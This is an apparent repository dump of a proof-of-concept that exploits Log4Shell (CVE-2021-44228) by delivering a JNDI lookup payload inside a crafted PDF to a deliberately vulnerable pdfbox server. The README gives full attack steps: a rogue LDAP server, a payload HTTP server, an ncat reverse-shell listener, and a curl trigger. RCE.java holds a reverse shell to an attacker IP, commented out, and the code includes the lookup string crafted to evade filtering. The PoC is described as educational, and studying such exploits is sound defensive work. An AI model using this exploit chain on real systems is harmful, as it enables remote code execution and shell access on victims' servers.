├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── docker.png
├── exploit
└── RCE.java
├── lookup.png
├── pdf2shell.png
├── pom.xml
├── src
└── main
│ ├── java
│ └── org
│ │ └── sandbox
│ │ ├── api
│ │ └── API.java
│ │ └── util
│ │ └── GeneratePDF.java
│ └── resources
│ └── log4j2.xml
├── template.pdf
└── upload.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | *.class
2 | target/
3 | .idea
4 | dependency-reduced-pom.xml
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | # Start from a base alpine image
2 | FROM maven AS build
3 |
4 | ADD . /log4jshell-pdf
5 | WORKDIR /log4jshell-pdf
6 | RUN mvn clean package
7 |
8 | FROM openjdk:8u181-jdk-alpine
9 |
10 | RUN apk add --no-cache maven bash curl wget
11 |
12 | RUN mkdir /app
13 | COPY --from=build /log4jshell-pdf/target/pdfbox-server-1.0-SNAPSHOT.jar /app/pdfbox-server.jar
14 |
15 | EXPOSE 8080
16 |
17 | ENTRYPOINT ["java", "-jar", "/app/pdfbox-server.jar"]
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Nationaal Cyber Security Centrum (NCSC-NL)
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # Exploiting CVE-2021-44228 using PDFs as delivery channel - PoC
3 |
4 | The purpose of this project is to demonstrate the Log4Shell exploit with Log4J vulnerabilities using PDF as delivery channel.
5 |
6 | The goal is to:
7 | - Carefully craft a malformed PDF file that contains the JNDI lookup payload
8 | - Force the `pdfbox` library to log an ERROR/WARN message that contains the JNDI lookup payload
9 |
10 | ## Disclaimer
11 |
12 | - This PoC is for informational and educational purpose only
13 | - All the information are meant for developing Hacker Defense attitude and help preventing the hack attacks.
14 |
15 | ## Setup
16 |
17 | This repository contains a Web Application that process PDF files using pdfbox library and it is vulnerable to CVE-2021-44228
18 |
19 | - org.apache.pdfbox:pdfbox:2.0.24 (latest version)
20 | - org.apache.logging.log4j:log4j-core:2.14.1
21 | - openjdk:8u181-jdk-alpine
22 |
23 | The `com.sun.jndi.ldap.object.trustURLCodebase` it set to `true`
24 |
25 | # Build the vulnerable application
26 |
27 | Build the docker container:
28 |
29 | ```bash
30 | docker build . -t pdfbox-server
31 | ```
32 |
33 | # Exploitation
34 |
35 | 1. Run the vulnerable application
36 |
37 | ```bash
38 | docker run -p 8080:8080 --name pdfbox-server pdfbox-server
39 | ```
40 |
41 | 
42 |
43 | 2. Start the rogue LDAP server
44 |
45 | Change the IP accordingly to your setup
46 |
47 | ```bash
48 | git clone git@github.com:mbechler/marshalsec.git
49 | cd marshalsec
50 | mvn clean package -DskipTests
51 | java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.26.160.1:8888/#RCE"
52 | ```
53 |
54 | 3. Compile the RCE payload and start the HTTP server used to deliver the payload
55 |
56 | Edit the `RCE.java` file and change the host variable accordingly to your setup
57 |
58 | ```bash
59 | cd exploit
60 | javac RCE.java
61 | python -m http.server 8888
62 | ```
63 |
64 | 4. Start the reverse shell listener
65 |
66 | ```bash
67 | ncat -lvnp 4444
68 | ```
69 |
70 | 5. Modify the PDF
71 |
72 | Open the `template.pdf` file in any editor and change the lookup expression. Because `/` is a reserved character in PDF specifications, I've used the recursive variable replacement lookup capabilities.
73 |
74 | ```bash
75 | ${jndi:ldap:${sys:file.separator}${sys:file.separator}172.26.160.1:1389${sys:file.separator}RCE}
76 | ```
77 |
78 | 
79 |
80 | 5. Trigger the exploit
81 |
82 | ```bash
83 | curl -i -s -X POST http://127.0.0.1:8080/api/parse --data-binary "@template.pdf"
84 | ```
85 |
86 | 
--------------------------------------------------------------------------------
/docker.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/docker.png
--------------------------------------------------------------------------------
/exploit/RCE.java:
--------------------------------------------------------------------------------
1 | import javax.naming.Context;
2 | import javax.naming.Name;
3 | import javax.naming.spi.ObjectFactory;
4 | import java.io.InputStream;
5 | import java.io.OutputStream;
6 | import java.net.Socket;
7 | import java.util.Hashtable;
8 |
9 | public class RCE implements ObjectFactory {
10 |
11 | static {
12 | try {
13 | // String host="172.26.160.1";
14 | // int port=4444;
15 | // String cmd="/bin/bash";
16 | // Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
17 | // Socket s=new Socket(host,port);
18 | // InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
19 | // OutputStream po=p.getOutputStream(),so=s.getOutputStream();
20 | // while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
21 | } catch (Exception e) {
22 | e.printStackTrace();
23 | }
24 | }
25 |
26 | public RCE(){
27 | }
28 |
29 | @Override
30 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
31 | return new RCE();
32 | }
33 | }
34 |
35 |
--------------------------------------------------------------------------------
/lookup.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/lookup.png
--------------------------------------------------------------------------------
/pdf2shell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/pdf2shell.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
5 | 4.0.0
6 |
7 | org.example
8 | pdfbox-server
9 | 1.0-SNAPSHOT
10 |
11 | log4jshell-pdf
12 |
13 |
14 | UTF-8
15 | 1.8
16 | 1.8
17 |
18 |
19 |
20 |
21 | org.apache.pdfbox
22 | pdfbox
23 | 2.0.24
24 |
25 |
26 | org.apache.logging.log4j
27 | log4j-core
28 | 2.14.1
29 |
30 |
31 | org.apache.logging.log4j
32 | log4j-jcl
33 | 2.14.1
34 |
35 |
36 | junit
37 | junit
38 | 4.11
39 | test
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | maven-clean-plugin
49 | 3.1.0
50 |
51 |
52 |
53 | maven-resources-plugin
54 | 3.0.2
55 |
56 |
57 | maven-compiler-plugin
58 | 3.8.0
59 |
60 |
61 | maven-surefire-plugin
62 | 2.22.1
63 |
64 |
65 | maven-jar-plugin
66 | 3.0.2
67 |
68 |
69 | maven-install-plugin
70 | 2.5.2
71 |
72 |
73 | maven-deploy-plugin
74 | 2.8.2
75 |
76 |
77 |
78 | maven-site-plugin
79 | 3.7.1
80 |
81 |
82 | maven-project-info-reports-plugin
83 | 3.0.0
84 |
85 |
86 |
87 |
88 |
89 |
90 | org.apache.maven.plugins
91 | maven-shade-plugin
92 | 3.2.0
93 |
94 |
95 |
96 |
97 |
98 | package
99 |
100 | shade
101 |
102 |
103 |
104 |
105 | org.sandbox.api.API
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/src/main/java/org/sandbox/api/API.java:
--------------------------------------------------------------------------------
1 | package org.sandbox.api;
2 |
3 | import com.sun.net.httpserver.HttpServer;
4 | import org.apache.pdfbox.pdmodel.PDDocument;
5 | import org.apache.pdfbox.text.PDFTextStripper;
6 |
7 | import java.io.IOException;
8 | import java.io.InputStream;
9 | import java.io.OutputStream;
10 | import java.net.InetSocketAddress;
11 | import java.util.Properties;
12 |
13 | public class API {
14 |
15 | private static final int PORT = 8080;
16 |
17 | public static void main(String[] args) throws IOException {
18 |
19 | HttpServer server = HttpServer.create(new InetSocketAddress(PORT), 0);
20 | server.createContext("/api/parse", (request -> {
21 | System.out.println("Processing request from: " + request.getRemoteAddress());
22 | if ("POST".equals(request.getRequestMethod())) {
23 | try (InputStream requestBody = request.getRequestBody()) {
24 | String responseBody = parse(requestBody);
25 | request.sendResponseHeaders(200, responseBody.getBytes().length);
26 | OutputStream output = request.getResponseBody();
27 | output.write(responseBody.getBytes());
28 | output.flush();
29 | } catch (IOException e) {
30 | request.sendResponseHeaders(500, -1);
31 | }
32 | } else {
33 | request.sendResponseHeaders(405, -1);// 405 Method Not Allowed
34 | }
35 | request.close();
36 | }));
37 |
38 | server.setExecutor(null); // creates a default executor
39 | setJNDIProperties();
40 | registerShutdownHook();
41 | System.out.println("Server started on port: " + PORT);
42 | server.start();
43 | }
44 |
45 | private static String parse(InputStream pdf) throws IOException {
46 | PDDocument doc = PDDocument.load(pdf);
47 | return new PDFTextStripper().getText(doc);
48 | }
49 |
50 | // for demonstration
51 | private static void setJNDIProperties() {
52 | Properties properties = System.getProperties();
53 | properties.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
54 | }
55 |
56 | private static void registerShutdownHook() {
57 | Runtime.getRuntime().addShutdownHook(new Thread(() -> System.out.println("Shutting down the Extractor server ...")));
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/src/main/java/org/sandbox/util/GeneratePDF.java:
--------------------------------------------------------------------------------
1 | package org.sandbox.util;
2 |
3 | import org.apache.pdfbox.pdmodel.PDDocument;
4 | import org.apache.pdfbox.pdmodel.PDPage;
5 | import org.apache.pdfbox.pdmodel.PDPageContentStream;
6 | import org.apache.pdfbox.pdmodel.font.PDType1Font;
7 |
8 | import java.io.IOException;
9 | import java.nio.file.Paths;
10 |
11 | public class GeneratePDF {
12 |
13 | public static void main(String[] args) throws IOException {
14 | if(args.length == 0) {
15 | System.out.println("Please provide the destination of generated PDF file");
16 | System.exit(1);
17 | }
18 | System.out.println("Generating the PDF file template.\n" +
19 | "Using any editor, modify the last '/Size 8' entry and add the JNDI url (e.g.):\n" +
20 | "/Size ${jndi:ldap:${sys:file.separator}${sys:file.separator}172.26.160.1:8888${sys:file.separator}RCE}\n\n" +
21 | "Note: The '/' is a reserved character in PDF specifications\n");
22 | generate(args[0]);
23 | System.out.println("File was generated: " + Paths.get(args[0]).toFile().getAbsolutePath());
24 | }
25 |
26 | private static void generate(String destination) throws IOException {
27 | PDDocument document = new PDDocument();
28 | PDPage page = new PDPage();
29 | document.addPage(page);
30 |
31 | PDPageContentStream contentStream = new PDPageContentStream(document, page);
32 |
33 | contentStream.setFont(PDType1Font.COURIER, 24);
34 | contentStream.beginText();
35 | contentStream.newLineAtOffset(50, 750);
36 | contentStream.showText("Log4Shell");
37 | contentStream.endText();
38 | contentStream.setFont(PDType1Font.COURIER, 12);
39 | contentStream.beginText();
40 | contentStream.newLineAtOffset(50, 730);
41 | contentStream.showText("using PDF as attack channel");
42 | contentStream.endText();
43 | contentStream.close();
44 |
45 | document.save(destination);
46 | document.close();
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/src/main/resources/log4j2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/template.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/template.pdf
--------------------------------------------------------------------------------
/upload.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | curl -i -X POST http://127.0.0.1:8080/api/parse --data-binary "@$1"
4 |
--------------------------------------------------------------------------------